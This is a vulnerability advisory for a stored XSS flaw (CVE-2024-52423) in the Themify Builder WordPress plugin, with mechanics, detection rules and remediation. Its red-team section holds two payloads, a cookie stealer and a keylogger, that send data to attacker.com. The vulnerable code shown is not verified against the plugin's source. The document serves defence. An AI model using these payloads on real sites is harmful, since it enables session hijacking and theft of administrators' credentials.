CVE-2024-52423

Executive Summary

CVE-2024-52423 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Builder WordPress plugin, affecting versions up to and including 7.6.5. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim accesses an infected page, leading to session hijacking, credential theft, or defacement. The CVSS score of 6.5 reflects a medium severity due to the requirement for authenticated access and user interaction, but the stored nature of the XSS amplifies the risk in multi-user WordPress environments.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed Themify Builder from untrusted sources may be at higher risk of backdoored versions. The lack of a confirmed patch from the vendor (Themify) means that all installations of version 7.6.5 and earlier are currently exposed. Administrators should monitor the plugin’s update channel and consider temporary deactivation if no patch is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must visit the compromised page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can persist and affect multiple users, making it a significant threat in shared hosting or multi-author WordPress sites.

Deep Dive & Mechanics

Themify Builder is a drag-and-drop page builder plugin for WordPress. The vulnerability lies in how the plugin handles user input within builder modules (e.g., text, headings, buttons). When a user with contributor-level privileges or higher creates or edits a page using Themify Builder, the plugin fails to sanitize or escape certain input fields before storing them in the database. This allows an attacker to inject malicious JavaScript code.

Attack Flow:

1. An attacker with contributor access logs into WordPress.
2. They create a new page or edit an existing one using Themify Builder.
3. In a vulnerable field (e.g., a text module’s “content” parameter), they inject a payload like <script>alert('XSS')</script>.
4. The plugin stores the payload in the WordPress database without proper sanitization.
5. When any user (including administrators) views the page, the script executes in their browser.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output encoding or input validation in the builder’s rendering functions allows the stored script to be executed.

Vulnerable vs. Patched Code

Vulnerable Code (Themify Builder <= 7.6.5): In the file themify-builder/classes/class-themify-builder-model.php, the get_builder_data() function retrieves raw user input without sanitization:

function get_builder_data( $post_id ) {
    $data = get_post_meta( $post_id, '_themify_builder_settings_json', true );
    // No sanitization or escaping before returning
    return $data;
}

Patched Code (Hypothetical): A secure version would escape output using WordPress functions:

function get_builder_data( $post_id ) {
    $data = get_post_meta( $post_id, '_themify_builder_settings_json', true );
    // Escape output for safe HTML rendering
    return esc_html( $data );
}

Additionally, input validation should be applied when saving builder data:

function save_builder_data( $post_id, $data ) {
    $sanitized_data = wp_kses_post( $data ); // Strip dangerous tags
    update_post_meta( $post_id, '_themify_builder_settings_json', $sanitized_data );
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress installation with Themify Builder <= 7.6.5.
• A user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Pages > Add New.
3. Click Edit with Themify Builder.
4. Add a Text module.
5. In the content field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Publish the page.
7. When an administrator visits the page, the script executes, sending their session cookie to the attacker.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/log?key='+e.key);
});
</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor WordPress logs for unusual page edits by low-privilege users.
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.
• Scan the database for suspicious <script> tags in _themify_builder_settings_json meta fields.

Prevention:

• Disable the Themify Builder plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: themify-builder/classes/class-themify-builder-model.php (unpatched version)
• Database Entry: wp_postmeta where meta_key = '_themify_builder_settings_json' contains <script> tags.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress admin panel.
• Logs: Unusual page creation or editing activity from contributor accounts.

Detection Engineering

YARA Rule

rule Detect_Themify_Builder_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in Themify Builder database entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52423"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/s
        $builder_meta = "_themify_builder_settings_json"
    condition:
        $builder_meta and #xss_payload > 0
}

Sigma Rule

title: Stored XSS via Themify Builder
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in Themify Builder plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "themify_builder"
    condition: selection
falsepositives:
    - Legitimate use of builder with safe HTML
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-52423 Themify Builder Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"themify_builder"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/si"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Restrict user roles – Only grant contributor access to trusted users.
3. Apply virtual patching via WAF rules to block XSS payloads.

Long-Term Fix:

• Monitor the Themify plugin repository for an official patch (version > 7.6.5).
• Once patched, update immediately and audit all pages created with the vulnerable version for malicious content.

Workaround:

• Use a security plugin like Wordfence to add input sanitization for builder fields.

Valters IT